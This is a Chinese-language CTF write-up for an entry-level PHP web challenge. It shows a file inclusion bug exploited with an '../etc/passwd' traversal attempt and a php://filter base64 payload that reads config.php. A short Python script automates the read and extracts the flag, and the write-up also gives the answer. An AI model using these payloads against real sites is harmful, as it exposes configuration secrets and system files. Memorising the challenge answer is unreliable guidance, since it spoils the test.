# PaymentHub 的解题思路

## 题目信息
| 题目名 | 题目描述 | 类型 | 预计解题时间 | 难度 | 是否提供源码 |
| :----: | :------: | :--: | :----------: | :--: | :--: |
| PaymentHub | 这是一个专业的支付平台系统，提供订单查询和支付状态查询功能。系统采用现代化的设计，支持多种支付方式。作为安全审计人员，你需要检查系统是否存在安全隐患，并找出隐藏在配置文件中的敏感信息。 | WEB | 1-2小时 | 入门 | 否 |

## 知识点
1. PHP伪协议
2. php://filter 文件读取
3. Base64编码解码
4. 文件包含漏洞

## 解题步骤

### Step 1: 信息收集

访问题目地址，可以看到一个支付平台的首页，有三个导航链接：
- 首页
- 订单查询
- 支付状态

观察 URL 结构，发现使用了 `page` 参数来加载不同的页面：
```
http://target:port/index.php?page=home
http://target:port/index.php?page=order.php
http://target:port/index.php?page=status.php
```

这种 URL 结构提示可能存在文件包含漏洞。

### Step 2: 测试文件包含漏洞

尝试使用 `../` 进行目录遍历：
```
http://target:port/index.php?page=../etc/passwd
```

发现无法成功，说明可能有过滤机制。

### Step 3: 使用 PHP 伪协议绕过

既然直接读取文件被过滤，我们可以尝试使用 PHP 伪协议。使用 `php://filter` 配合 base64 编码来读取文件：

```
http://target:port/index.php?page=php://filter/convert.base64-encode/resource=config.php
```

这个 payload 的作用是：
- `php://filter` - PHP 流过滤器
- `convert.base64-encode` - 将文件内容进行 base64 编码
- `resource=config.php` - 指定要读取的文件

### Step 4: 解码获取 FLAG

访问上述 URL 后，在页面源代码中可以找到一段 base64 编码的内容。将其解码后，可以看到 config.php 的源代码，其中包含了敏感的配置信息和 FLAG。

使用 Python 脚本自动化提取：

```python
import requests
import base64
import re

url = "http://target:port"
payload = "php://filter/convert.base64-encode/resource=config.php"
r = requests.get(f"{url}/index.php?page={payload}")

base64_pattern = r'[A-Za-z0-9+/=]{40,}'
matches = re.findall(base64_pattern, r.text)
decoded = base64.b64decode(matches[0]).decode()

flag = re.findall(r'DASCTF\{[^}]+\}', decoded)[0]
print(flag)
```

## Flag
DASCTF{test12345}

